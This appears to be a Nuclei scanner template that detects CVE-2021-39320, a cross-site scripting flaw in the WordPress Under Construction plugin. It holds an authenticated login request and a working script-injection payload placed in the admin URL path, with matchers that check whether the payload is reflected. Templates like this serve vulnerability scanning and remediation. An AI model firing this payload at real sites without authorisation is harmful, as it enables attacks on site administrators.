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id : CVE-2021-39320
info :
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name : WordPress Under Construction <1.19 - Cross-Site Scripting
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author : dhiyaneshDK
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severity : medium
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description : |
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WordPress Under Construction plugin before 1.19 contains a cross-site scripting vulnerability. The plugin echoes out the raw value of `$GLOBALS['PHP_SELF']` in the ucOptions.php file on certain configurations, including Apache+modPHP.
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remediation : |
Update to the latest version of the WordPress Under Construction plugin (1.19 or higher) to fix the XSS vulnerability.
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reference :
- https://wpscan.com/vulnerability/49ae1df0-d6d2-4cbb-9a9d-bf3599429875
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- https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39320
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- https://nvd.nist.gov/vuln/detail/CVE-2021-39320
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score : 6.1
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cve-id : CVE-2021-39320
cwe-id : CWE-79
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epss-score : 0.0021
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epss-percentile : 0.58703
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cpe : cpe:2.3:a:underconstruction_project:underconstruction:*:*:*:*:*:wordpress:*:*
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metadata :
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verified : true
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max-request : 2
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vendor : underconstruction_project
product : underconstruction
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framework : wordpress
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tags : cve,cve2021,wp-plugin,wpscan,wordpress,wp,xss,authenticated
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http :
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- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php/"><script>alert(document.domain)</script>/?page=under-construction HTTP/1.1
Host : {{Hostname}}
cookie-reuse : true
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matchers-condition : and
matchers :
- type : word
part : body
words :
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- 'action="/wp-admin/admin.php/"><script>alert(document.domain)</script>'
- 'under-construction'
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condition : and
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- type : word
part : header
words :
- "text/html"
- type : status
status :
- 200
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# digest: 490a0046304402203ba4d8428d3629790f24596a1b0c845622ea3e0b805261e014f1357e77ef7f4b02204ed4ddcf308389fbcf7989a7cb8ae916cf3873067b083c9c8279c78b2c070a83:922c64590222798bb761d5b6d8e72950